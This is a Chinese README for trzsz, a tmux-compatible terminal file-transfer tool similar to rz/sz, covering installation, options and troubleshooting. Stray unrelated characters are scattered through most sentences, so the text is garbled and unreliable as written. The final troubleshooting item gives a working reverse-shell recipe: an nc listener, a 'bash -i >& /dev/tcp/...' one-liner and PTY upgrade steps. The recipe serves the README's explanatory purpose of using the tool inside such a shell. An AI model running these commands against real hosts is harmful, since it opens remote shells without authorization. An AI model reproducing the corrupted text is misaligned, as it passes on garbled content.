trzsz ( trz / tsz ) - 和 rz / sz 類似,兼容 tmux 的文件傳輸工具
trzsz
( trz / tsz ) 是一款優(yōu)秀的文件傳輸工具,和 lrzsz ( rz / sz ) 類似的桂躏、兼容 tmux 的文件傳輸工具。
GitHub開源地址: https://github.com/trzsz/trzsz
如何使用
在服務(wù)器上安裝
trzsz
( trz / tsz )川陆,有 go剂习、py 和 js 三種實(shí)現(xiàn),互相兼容较沪。本地要使用支持的終端鳞绕,有本地 shell 的終端可以使用 trzsz-ssh ( tssh ),或參考下文【支持的終端】尸曼。
使用
trz
( 類似rz
) 命令上傳文件们何,使用tsz
( 類似sz
) 命令下載文件。
為什么做
考慮
laptop -> hostA -> hostB -> docker -> tmux
這種場景控轿,使用scp
或sftp
是不方便的冤竹。在這種場景下,使用
lrzsz
( rz / sz ) 是很方便的茬射,但是很可惜它與tmux
不兼容鹦蠕。tmux
不打算支持 rz / sz ( 906, 1439 ),于是就開發(fā)了trzsz
( trz / tsz )在抛。
優(yōu)點(diǎn)介紹
- 支持 tmux钟病,包括 tmux 普通模式,以及與 iTerm2 集成的 tmux 命令模式刚梭。
- 支持 傳輸目錄档悠,
trz -d
命令上傳目錄,tsz -d xxx
命令下載 xxx 目錄望浩。 - 支持 斷點(diǎn)續(xù)傳,
trz -y
或tsz -y xxx
覆蓋目標(biāo)文件會自動進(jìn)行斷點(diǎn)續(xù)傳惰说。 - 支持 Windows磨德,不僅可在 Windows 客戶端使用,也可在 Windows ssh 服務(wù)器使用。
- 支持 原生終端典挑,不需要原生終端做支持酥宴,只要使用
trzsz ssh x.x.x.x
登錄即可。 - 支持 web 終端您觉,通過 web 瀏覽器在本地與服務(wù)器之間傳輸目錄和文件拙寡。
- 支持 拖動上傳,將文件和目錄拖到終端窗口即可上傳到遠(yuǎn)程服務(wù)器琳水。
- 支持 進(jìn)度條肆糕,顯示當(dāng)前正在傳輸?shù)奈募⑦M(jìn)度在孝、大小诚啃、速度和剩余時(shí)間等。
- 更好的 交互體驗(yàn)私沮,傳輸成功或出錯(cuò)時(shí)顯示友好的結(jié)果始赎,
ctrl + c
優(yōu)雅中止。
安裝指南
在遠(yuǎn)程服務(wù)器上安裝
-
安裝 用 Go 實(shí)現(xiàn)的版本( ? 推薦 )
請查看 Go 版安裝指引:https://trzsz.github.io/cn/go
-
或者用 Python3 安裝
sudo python3 -m pip install --upgrade trzsz
-
或者用 Python2 安裝
sudo python2 -m pip install --upgrade trzsz
-
或者用 Homebrew 安裝
brew update brew install trzsz
-
或者用 Node.js 安裝
sudo npm install -g trzsz
??沒有 sudo
權(quán)限也可以安裝仔燕,只要將安裝路徑 ( 可能是 ~/.local/bin
) 添加到 PATH
環(huán)境變量中即可造垛。
支持的終端
trzsz-ssh ( tssh ) -- 內(nèi)置支持 trzsz 的 ssh 客戶端( ? 推薦 )。
iTerm2 -- 參考 Trzsz-iTerm2 安裝文檔晰搀。
tabby -- 安裝 tabby-trzsz 插件即可五辽。
electerm -- 升級到
1.19.0
以上的版本即可。ttyd -- 升級到
1.7.3
以上的版本厕隧,并且啟動時(shí)加上-t enableTrzsz=true
奔脐,非 localhost 要用https
。trzsz-go -- 只要是支持本地 shell 的終端就可以用吁讨。
trzsz.js -- 讓運(yùn)行在瀏覽器中的 webshell 和用 electron 開發(fā)的終端支持
trzsz
髓迎。
??如果你的終端也支持 trzsz
,請告訴我建丧,我很樂意將它加到此列表中排龄。
使用指南
trz
上傳文件
trz
命令可以不帶任何參數(shù),將上傳文件到當(dāng)前目錄翎朱。也可以帶一個(gè)目錄參數(shù)橄维,指定上傳到哪個(gè)目錄。
trz /tmp/
tsz
下載文件
tsz
可以帶一個(gè)或多個(gè)文件名(可使用相對路徑或絕對路徑拴曲,也可使用通配符)争舞,將下載指定的文件。
tsz file1 file2 file3
-q
靜默模式
trz -q
或 tsz -q xxx
( 加上 -q
選項(xiàng) )澈灼,則在傳輸文件時(shí)不顯示進(jìn)度條竞川。
-y
覆蓋模式
trz -y
或 tsz -y xxx
( 加上 -y
選項(xiàng) )店溢,如果存在相同文件名的文件就直接覆蓋,并支持?jǐn)帱c(diǎn)續(xù)傳委乌。
-b
二進(jìn)制模式
trz -b
或 tsz -b xxx
( 加上 -b
選項(xiàng) )床牧,二進(jìn)制傳輸模式,對于壓縮包遭贸、圖片戈咳、影音等較快。
-e
轉(zhuǎn)義控制字符
二進(jìn)制模式時(shí)壕吹,控制字符可能會導(dǎo)致失敗著蛙,trz -eb
或 tsz -eb xxx
( 加上 -e
選項(xiàng) ) 轉(zhuǎn)義所有已知的控制字符。
-d
/ -r
傳輸文件夾
trz -d
或 tsz -r xxx
( 加上 -d
或 -r
選項(xiàng) )算利,則可以上傳或下載指定文件夾和文件册踩。
-B
緩沖區(qū)上限
trz -B 20m
或 tsz -B 2M xxx
等,設(shè)置最大緩沖區(qū)上限 ( 默認(rèn) 10M )效拭。會自動根據(jù)網(wǎng)速選擇合適的緩沖區(qū)大小暂吉,但不會超過此上限。
-t
超時(shí)時(shí)間
trz -t 30
或 tsz -t 30 xxx
等缎患,設(shè)置超時(shí)秒數(shù) ( 默認(rèn) 20 秒 )慕的。在超時(shí)時(shí)間內(nèi),如果無法傳完一個(gè)緩沖區(qū)大小的數(shù)據(jù)則會報(bào)錯(cuò)并退出挤渔。設(shè)置為 0 或負(fù)數(shù)肮街,則永不超時(shí)。
異常處理方法
-
如果
tmux
是運(yùn)行在本地電腦上判导。- 方案 1:使用
tmux -CC
與 iTerm2 集成嫉父,請參考 iTerm2 與 tmux -CC 集成。 - 方案 2:在本地電腦上安裝 trzsz-go眼刃,在
tmux
之后用trzsz ssh
登錄绕辖。 - 方案 3:在本地電腦上安裝 trzsz-ssh,在
tmux
之后用tssh
登錄擂红。
- 方案 1:使用
-
如果
tmux
是運(yùn)行在跳板機(jī)上仪际。- 方案 1:使用
tmux -CC
與 iTerm2 集成,請參考 iTerm2 與 tmux -CC 集成昵骤。 - 方案 2:在跳板機(jī)上安裝 trzsz-go树碱,在
tmux
之后用trzsz -r ssh
登錄。 - 方案 3:在跳板機(jī)上安裝 trzsz-ssh变秦,在
tmux
之后用tssh
登錄成榜。
- 方案 1:使用
-
如果出現(xiàn)了錯(cuò)誤,且
trzsz
掛住不能動了:- 按組合鍵
control + c
可以停止服務(wù)器上的trz
或tsz
進(jìn)程蹦玫。 - 對于 iTerm2 用戶赎婚,按組合鍵
command + option + shift + r
可以停止 iTerm2 Coprocesses雨饺。
- 按組合鍵
-
如果
trz -b
二進(jìn)制上傳失敗,并且登錄遠(yuǎn)程服務(wù)器時(shí)使用了telnet
或docker exec
:- 可以試試轉(zhuǎn)義所有控制字符惑淳,例如
trz -eb
。
- 可以試試轉(zhuǎn)義所有控制字符惑淳,例如
-
如果
trz -b
或tsz -b
二進(jìn)制傳輸失敗饺窿,并且登錄遠(yuǎn)程服務(wù)器時(shí)使用了expect
:- 可以試試在
expect
腳本前設(shè)置環(huán)境變量export LC_CTYPE=C
歧焦,例如:#!/bin/sh export LC_CTYPE=C expect -c ' spawn ssh xxx expect "xxx: " send "xxx\n" interact '
- 可以試試在
-
如果想在反彈 shell 中使用
trz / tsz
上傳和下載,則需要按以下步驟操作:- 1. 使用
tssh xxx
或trzsz ssh xxx
登錄服務(wù)器肚医。 - 2. 在服務(wù)器上執(zhí)行
nc -lnv 1337
绢馍,等待反彈 shell 連接。 - 3. 在目標(biāo)機(jī)器反彈連接到服務(wù)器肠套,如
bash -i >& /dev/tcp/192.168.0.1/1337 0>&1
舰涌。 - 4. 以下在反彈 shell 中操作:
- 4.1. 轉(zhuǎn)換成交互式 shell,如
python3 -c 'import pty; pty.spawn("/bin/bash")'
你稚。 - 4.2. 按下
ctrl + z
將反彈 shell 轉(zhuǎn)入后臺運(yùn)行瓷耙。 - 4.3. 執(zhí)行
stty raw -echo; fg
屏蔽服務(wù)器的回顯,并將反彈 shell 轉(zhuǎn)到前臺運(yùn)行刁赖。 - 4.4. 此時(shí)按一次回車鍵搁痛,就會顯示命令行提示符等了。
- 4.5. 設(shè)置終端環(huán)境變量
export TERM=xterm-256color
( 此步驟非必須 )宇弛。 - 4.6. 檢查是否存在
TMUX
環(huán)境變更鸡典,若存在則要清掉unset TMUX
。 - 4.7. 此時(shí)就可以正常使用
trz / tsz
上傳和下載了枪芒。
- 4.1. 轉(zhuǎn)換成交互式 shell,如
- 5. 退出交互式 shell 后彻况,輸入的字符將不會回顯,盲打
exit
退出反彈 shell舅踪。 - 6. 此時(shí)在服務(wù)器上盲打
reset
并回車纽甘,恢復(fù)終端的默認(rèn)設(shè)置,然后回顯就恢復(fù)正常了硫朦。
- 1. 使用